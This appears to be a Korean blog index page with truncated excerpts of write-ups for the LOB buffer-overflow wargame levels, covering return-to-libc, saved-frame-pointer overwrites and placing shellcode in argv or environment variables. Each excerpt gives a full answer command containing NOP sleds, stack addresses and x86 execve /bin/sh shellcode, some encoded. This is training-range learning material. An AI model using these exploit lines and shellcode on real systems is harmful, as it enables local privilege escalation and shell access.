이 문제는 RTL ( Return inTo Libc) 을 사용해야합니다. 그 이유는 bf 자체를 차단해버렸기 때문입니다. 이 의미는 스택 사용한 직접적인 BOF의 차단을 의미한다고 할 수 있겠습니다. RTL 기법은 리턴주소를 직접 쉘코드로 지정하는 것이 아니라 시스템 함수를 간접호출해서 쉘을 실행시키는 방식입니다. 여기서는 system함수를 이용해 /bin/sh를 실행해 간접적으로 쉘을 실행하겠습니다. CALL 의 이해입니다. CALL 어셈블리는 일반적으로 다음과 같은 순서로 진행됩니다. 1. 매개 변수에 해당하는 인자 값들을 PUSH 합니다. 2. 해당 함수로 이동하기 전에 리턴할 주소를 PUSH 합니다. 3. 해당 주소로 점프합니다. 따라서 익스플로잇 코드의 구성은 다음과 같습니다. 44 바이트의 버..
해답 : ./darkknight `python -c 'print "\x08\xfc\xff\xbf"*10+"\x24"'` `python -c 'print "\x90"*100+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` strncpy 때문에 리턴주소의 변경이 불가능해졌습니다. 하지만 SFP 부분은 변경가능합니다. 이 부분을 이용해서 리턴 주소를 변경하는 것이 이번 문제의 핵심입니다. SFP의 개념은 스택 프레임을 구글링 하시면 알 수 있습니다. strncpy에 41바이..
해답 : `python -c 'print "\x90"*44+"\x98\x9c\xfe\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` `python -c 'print "\x90"*90000' 이번 문제의 요점은 ff 부분을 차단하는 것에 대한 우회였습니다. 우회하는 방법은 의외로 간단합니다. argv인자 값에 들어가는 데이터의 크기를 늘려서 스택을 더욱 더 쌓아올려 ff를 다른 주소로 변경하는 방법입니다. 저는 이 것을 해결하기 위해 argv[3]에 90000개의 90를 집어넣었고 그 것을 이용해 주소를 fe로 ..
해답 : ./`python -c 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\x90"*44+"\xb7\xfb\xff\xbf"'` argc != 2 로 인해서 그 동안 사용해왔던 argv[2]에 쉘코드를 넣는 방식이 막혔으며 argv[1]은 마지막 줄에서 memset으로 지워지기 때문에 사용불가능합니다. 이 때 사용하는 것이 바로 argv[0]에 쉘코드를 ..
해답 : ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\xac\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` argv[0] 이 77 자리가 되어야하는 조건을 만족시키는 것이 중요합니다. 저는 심볼릭 링크를 이용해서 77자리를 맞추었습니다. 나머지는 앞부분과 동일한 코드입니다. gdb로 테스트할 때는 ./home/darkelf///////////////..
해답 : ./orc `python -c 'print "\x90"*44+"\x2c\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'` 버퍼가 40 으로 상당히 작습니다. 버퍼 40에 제가 가지고 있는 24바이트의 쉘코드를 넣어도 되겠지만 성공률 때문에 argv[2] 에다가 넣는 방식으로 해결했습니다. 해답을 보시면 총 두가지 인자 값을 넣었는데 첫 번째 인자 값은 주소를 바꾸는 용도를 사용했고 두 번째 인자 값은 쉘코드를 넣기 위해 사용했습니다. x/150x $esp를 이용해서 argv[2]가 들어가는..
cobolt의 소스코드를 보시면 먼저 버퍼부분이 256 -> 16으로 바뀌어져있습니다. 즉 예전에는 쉘코드를 256바이트 부분에다가 넣었다면 이번에는 그렇게할 수 없다는 뜻입니다. 이 때 사용하는 방식이 쉘코드를 환경변수에 넣는 방식입니다. export SHELLCODE=$(python -c 'print "\90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') 위 명령어를 입력한 후 env 를 이용해서 현재의 환경변수를 확인할 수 있습니다. ./cobolt `python -c 'print "\x90"*20+"\x08\xfb\xff\xbf"+"\x90"*20+"\x31..
해답 : ./gremlin `perl -e 'print "\x90"x199, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68", "\x18\xf9\xff\xbf"';` 해답은 크게 세 파트로 나누어집니다. 먼저 \x90 x 199 부분 , 쉘코드 부분, 그리고 주소 값을 넣는 부분입니다. 199 개의 90과 쉘코드를 더..
- Total
- Today
- Yesterday
- 레거시 드라이버
- vmware 오류
- rootkit
- gdb intel
- breakpoint
- 모듈
- BP
- 변환
- gdb intel 변환
- GDB
- LKM
- module
- PNP 드라이버
- 루트킷
- IRP
- backdoor
- VMware
- vmware cannot connect to the virtual machine
- Intel
- gdb명령어
- 드라이버
- 백도어
- gdb 명령어
- 리눅스 모듈
- DriverEntry
- 디바이스
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |